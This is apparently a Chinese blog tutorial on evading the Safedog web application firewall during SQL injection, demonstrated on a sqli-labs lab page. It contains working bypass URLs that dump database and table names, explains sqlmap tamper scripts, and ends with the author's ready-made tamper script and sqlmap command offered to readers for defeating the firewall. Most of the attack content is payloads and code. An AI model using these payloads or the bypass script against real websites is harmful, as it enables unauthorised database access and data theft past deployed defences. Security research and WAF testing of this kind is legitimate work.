文章目录
0x00 简述
- 安全狗这些waf都是有一个特性,都是基于正则匹配去过滤的
- 但是实际情况是需要权衡可用性和安全性
- 当然厂商肯定是考虑到用户体验,所以不能出现什么东西都拦截
- 所以最终就是正则的绕过
- 注意:
- 版本不同,他的正则规则也是不一样的
- 所以有的payload在新老版本是不能同吃。
- 但是没有关系,你学会这么绕,这都不是问题。
0x01 首先我们要判断哪个关键字被拦截了
我们以 order by 3 这个简单的语句为例子
提供思路就是破坏单词去测试:
http://10.211.55.4/Less-2/?id=1 order by 3 (拦截)
http://10.211.55.4/Less-2/?id=1 ordwer by 3 (破坏了order 没有拦截)
http://10.211.55.4/Less-2/?id=1 order bay 3 (破坏了by 没有拦截)
所以狗拦截的东西就是 order by 两个一起出现
所有后面的测试都是按照这个思路初步的判断。
0x02 一些简单的知识点
- 绕过的一些基础
- MySql注释内语句也可执行(/*! */)
/*! ....*/
在其他很多地方都是注释。- 但是在mysql中不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在
/*!....*/
中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行,基本上只做一个版本的判断。
- Mysql常用的符号
换行符号
%0a
注释符合
%23
空白字符
"%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"
不同的数据库不太一样,可以自己查一下
还有一些bypass的常用注释符号
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00
0x03 总结安全狗拦截的点
- and 1
- 只要and后面接数字,安全狗就会拦截
- order by
- order 后面接by,安全狗就会拦截
- union select
- 只要union select 结合就被拦截,实测发现还是对select这个词的更加严格,主要饶select
- database()
- database后面接括号,安全狗就会拦截
下面是测试成功的例子
order by 绕过
测试 order aby不拦截 ,我们让 by前面的注释掉就可以绕过
http://10.211.55.4/Less-2/?id=1 order %23a%0aby 3
union select绕过 同理
http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,2,3
database()绕过
http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,%23a%0adatabase/*!*/(),3
一个完整的union查询
http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,group_concat(table_name),3 %23a%0a/*!from*/ information_schema.tables where table_schema='security'
还有一种注释版本号的 绕过
http://10.211.55.4/Less-2/?id=-1 union /*!44466select*/ 1,database/*!()*/,3
0x04 Sqlmap tamper的编写
tamper是sqlmap对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
为了好理解直接典例深刨析:
我们理解一下一个常用的tamper :space2comment.py
这个脚本的功能就是:用“/**/”替换空格符
下面是完整的代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal
0x05 tamper主要的三个部分
- 第一部分priority
- 定义脚本的优先级,用于有多个tamper脚本的先后顺序
- 第二部分dependencies函数
- 该脚本适用/不适用的范围,也可以不写。
- 第三部分tamper函数
- 主要就是我们绕过的精华,要替换的内容。
priority优先级
使用了多个tamper时,PRIORITY的参数等级较高的tamper先使用
__priority__ = PRIORITY.LOW
有大概七个等级 LOWEST LOWER = LOW NORMAL HIGH HIGHER HIGHEST
dependencies函数主要是提示用户适用范围
上文中没写,就是没有提示,你要自己知道,其实不写也行就直接pass
def dependencies():
singleTimeWarnMessage("这里输入想显示的内容“)
tamper是重头戏
这是一个简单的双写绕过,tamper里面主要是一个替换的过程
payload就是那些关键词select union这下,经过替换只有return 回去,就是处理好的
def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')
所以中间具体怎么替换就是你的事情了。只有最后return回去就好了
0x06 tamper编写测试方法
这里我说下几个坑点:
-
手工过和写tamper不一样,sqlmap的语句和你用的并不一样
-
我有两个建议,一个是用slqmap 挂代理到burp去看到底可以不,我没用这个方法,点的有点累
-
我是打开 -v 参数,去看payload和提示,看哪里断开,复制payload去手工看看,绕过编写一下tamper
-
还有调试过程中 要打开–flush 参数刷新缓存
-
还有一个就是你的python代码能力了,如果你只是用简单的replace()函数,就要注意替换的顺序,
-
例如会用到的相似的函数:
SESSION_USER() CURRENT_USER() USER()
这几个都有 user() 如果你在最前面 替换了user()
那么后面就会出现CURRENT_%23a%0aUSER/*!*/() 我这种绕过就不兼容了
得在后面再自己调整
- 下面是我的绕过参数:
python3 sqlmap.py -u "http://10.211.55.4/Less-2/?id=1" --tamper dogz.py --random-agent --flush -v 3 --batch --dbms mysql --current-user –-tech=U
0x07 结束
绕狗脚本给大家,如果跑的时候失效了可以按照上面的方法修改修改就好了
#!/usr/bin/python3.7
# Author:Zeo
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Zeo_bypass_safedog4.0")
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!44466AND*/')
payload=payload.replace('ORDER','/*!44466order*/')
payload=payload.replace('BY','%23a%0aby')
payload=payload.replace('USER()','%23a%0aUSER/*!*/()')
payload=payload.replace('DATABASE()','%23a%0aDATABASE/*!*/()')
payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()')
payload=payload.replace('UNION ALL SELECT','UNION ALL /*!44466SELECT*/')
payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()','CURRENT_USER()')
return payload
最终绕过安全狗成功跑出数据